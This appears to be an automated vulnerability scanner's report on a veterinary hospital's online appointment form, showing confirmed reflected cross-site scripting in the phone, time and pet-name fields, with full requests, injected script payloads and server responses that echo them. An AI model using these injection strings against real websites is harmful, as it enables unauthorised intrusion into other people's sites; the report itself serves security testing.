<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="'"--></style></script><script>netsparker(0x000EC2)</script>" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OPT-IN -->..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET '"--></style></script><script>alert(0x000ED1)</script>
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 15769bb67915fbf80386fa4c20d6bb5f
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000ED1)%3C/script%3E&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=15769bb67915fbf80386fa4c20d6bb5f&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:48:59 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="'"--></style></script><script>netsparker(0x000ED1)</script>" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET '"--></style></script><script>alert(0x000F0A)</script>
time2 GET 3
time3 GET 3
token GET 68932a6540be357c08a053f6a1217cd1
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000F0A)%3C/script%3E&time2=3&time3=3&token=68932a6540be357c08a053f6a1217cd1&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:49:55 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="'"--></style></script><script>netsparker(0x000F0A)</script>" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
